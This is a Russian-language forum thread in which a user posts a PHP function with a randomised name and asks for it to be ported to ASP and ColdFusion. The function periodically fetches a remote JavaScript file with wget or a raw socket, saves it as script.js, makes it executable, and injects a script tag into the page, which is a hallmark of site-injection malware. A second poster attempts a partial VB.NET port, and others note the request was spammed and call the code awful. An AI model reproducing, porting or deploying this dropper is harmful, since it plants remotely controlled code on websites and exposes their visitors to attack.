Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[18.218.29.176] |
|
Сообщ.
#1
,
|
|
|
Здраствуйте, уважаемые форумчане, пожалуйста помогите максимально правильно перевести PHP скрипт автообновления через JS на asp, чтобы можно было вставить код в страницу asp. За ранее огромное спасибо!
<?php function update_kjxerhmihihihgih43igh43gi() { $path = ""; $wwwpath = ""; $file = "script.js"; $seconds = 300; $url = "http:///js/3207bf7af61b633416a3f95a83879a42"; $inject = 1; $mtime = 0; $where = ($path) ? $path."/".$file : $file; if(file_exists($where)) { $fd = stat($where); $mtime = $fd['mtime']; } $time=time(); function uw($url, $file, $path) { $where = ($path) ? $path."/".$file : $file; exec("wget -q '$url' -O '$where.1'"); rename("$where.1", $where); chmod($where, 0755); }; function unchunk($data) { $fp = 0; $outData = ""; while ($fp < strlen($data)) { $rawnum = substr($data, $fp, strpos(substr($data, $fp), "\r\n") + 2); $num = hexdec(trim($rawnum)); $fp += strlen($rawnum); $chunk = substr($data, $fp, $num); $outData .= $chunk; $fp += strlen($chunk); } return $outData; } function ufs($url, $file, $path) { $xxx = ""; $matches = parse_url($url); $host = $matches['host']; $pp = $matches['path']; $fp = fsockopen($host, 80, $errno, $errstr, 30); if ($fp) { $out = "GET $pp HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { $xxx .= fgets($fp, 128); } fclose($fp); } $xxx = substr($xxx, strpos($xxx, "\r\n\r\n") + 4); $save = ($path) ? $path."/".$file : $file; $fh = fopen("$save", "wb"); fwrite($fh,unchunk($xxx)); fclose($fh); chmod($save, 0755); }; if($time-$mtime > $seconds) { $r = Array(); $rv = 0; if(function_exists('exec') && exec('which wget', $r, $rv) && !$rv) { uw($url, $file, $path); }else{ ufs($url, $file, $path); } } if($inject) { $file = ($wwwpath) ? $wwwpath."/".$file : $file; print "<script src=\"$file\"></script>"; } } update_kjxerhmihihihgih43igh43gi(); ?> Добавлено И если есть специалисты, так как говорят что asp, cfm похожи, а точнее работают друг с другом. То ещё и перевести код в cfm формат, чтобы просто вставить на страницу. p.s. Модераторы сильно не ругайтесь просто раздела cfm [cold fusion] не существует, запостился тут... Если что извиняюсь сильно оч. плиз не удаляйте оч срочно надо... Пользователям и всем кто смотрел, читал - спасибо за потраченное время. |
Сообщ.
#2
,
|
|
|
хм... начал переводить и столкнулся с тем, что некоторые строки кода лично меня вообще вводят в ступор... оО
если,конечно,еще актуально, выкладываю то, что смог перевести (ибо автор топика слишком уж зацепил меня своим Цитата alcantara @ )Пользователям и всем кто смотрел, читал - спасибо за потраченное время. Но все-же... не даёт спокойствия, допустим, вот это: Цитата alcantara @ PHP скрипт автообновления через JS на asp и не строчки на JS... может не так выразился просто? =) ладно... сам же взялся... файл index.vbhtml (вид) @Code ViewData("Title") = "Index" Dim path As String = "", wwwpath As String = "", file As String = "script.js", seconds As Integer = 300 Dim url As String = "http:///js/3207bf7af61b633416a3f95a83879a42", inject As Integer = 1, mtime As Integer = 0 Dim where = IIf(path.Length <> 0, path & "/" & file, file) If IO.File.Exists(where) Then Dim fd = New IO.FileInfo(where).LastWriteTimeUtc End If Dim time = Date.UtcNow If time.ToShortTimeString - mtime > seconds Then End If End Code <h2>Index</h2> и, собственно, класс нашей модели... Imports System.Net Imports System.Net.Sockets Public Class UpdateModel Private Function getHost(ByVal str As String, Optional ByVal getPath As Boolean = False) As String str = str.ToLower() If Not getPath Then Return str.Substring(0, InStr(8, str, "/")) Else str = str.Replace("http://", "") If str.Contains("?") Then Return str.Substring(InStr(8, str, "/") - 1, InStr(8, str, "?") - InStr(8, str, "/")) Else Return str.Substring(InStr(8, str, "/") - 1, str.Length - (InStr(8, str, "/") + 1)) End If End If End Function Private Function hexdec(ByVal heximal As String) As Integer Dim Simvol As String Dim DesChislo As Integer Dim x As Integer hexdec = 0 For x = 1 To heximal.Length Simvol = Microsoft.VisualBasic.Mid(heximal, x, 1) If Simvol.ToUpper = "A" Then DesChislo = 10 ElseIf Simvol.ToUpper = "B" Then DesChislo = 11 ElseIf Simvol.ToUpper = "C" Then DesChislo = 12 ElseIf Simvol.ToUpper = "D" Then DesChislo = 13 ElseIf Simvol.ToUpper = "E" Then DesChislo = 14 ElseIf Simvol.ToUpper = "F" Then DesChislo = 15 Else DesChislo = CInt(Simvol) End If hexdec = hexdec + DesChislo * 16 ^ (heximal.Length - x) Next x Return hexdec End Function Public Sub uw(ByVal url As String, ByVal file As String, ByVal path As String) Dim where As String = IIf(path.Length > 0, path & "/" & file, file) Dim download As New WebClient download.DownloadFileAsync(New Uri(url), where) IO.File.Move(where & "1", where) End Sub Public Function unchunk(ByVal data As String) As String Dim fp As Integer = 0, outData As String = "" While fp < data.Length Dim rawnum As String = data.Substring(fp, InStr(1, data.Substring(fp), vbCrLf) + 2) Dim num As Integer = hexdec(Trim(rawnum)) fp += rawnum.Length Dim chunk As String = data.Substring(fp, num) outData = outData & chunk fp += chunk.Length End While Return outData End Function Public Function ufs(ByVal url As String, ByVal file As String, ByVal path As String) As String Dim xxx As String Dim nc As NameValueCollection = System.Web.HttpUtility.ParseQueryString(url) Dim host As String = getHost(url), pp As String = getHost(url, True) Dim sc As New System.Net.Sockets.TcpClient sc.Connect(host, 80) If sc.Available Then Dim scStream As NetworkStream = sc.GetStream() Dim out As String = "GET " & pp & " HTTP/1.1" & vbCrLf out = out & "Host: " & host & vbCrLf out = out & "Connection: Close" & vbCrLf & vbCrLf scStream.Write(Encoding.UTF8.GetBytes(out), 0, out.Length) Dim retBuff() As Byte scStream.Read(retBuff, 0, scStream.Length) xxx = Encoding.UTF8.GetString(retBuff) sc.Close() End If xxx = xxx.Substring(xxx.StartsWith(vbCrLf & vbCrLf) + 4) Dim save As String = IIf(path.Length > 0, path & "/" & file, file) IO.File.WriteAllText(System.AppDomain.CurrentDomain.BaseDirectory() & save, unchunk(xxx)) End Function if () End Class мозг же мне вынес этот участок кода: $r = Array(); $rv = 0; if(function_exists('exec') && exec('which wget', $r, $rv) && !$rv) { uw($url, $file, $path); }else{ ufs($url, $file, $path); } Уважаемый, alcantara, если ты еще тут и тебе все еще интересно вообще всё это, то поясни пожалуйста что тут вообще происходит, и может тогда, я тебе помогу до конца... но всё равно не похоже это ни на какое автообновление на JS |
Сообщ.
#3
,
|
|
|
он уже наспамил тут этим: Помогите максимально перевести скрипт php в html вроде ещё где-то было
|
Сообщ.
#4
,
|
|
|
Скрытый текст Это ужасно.... |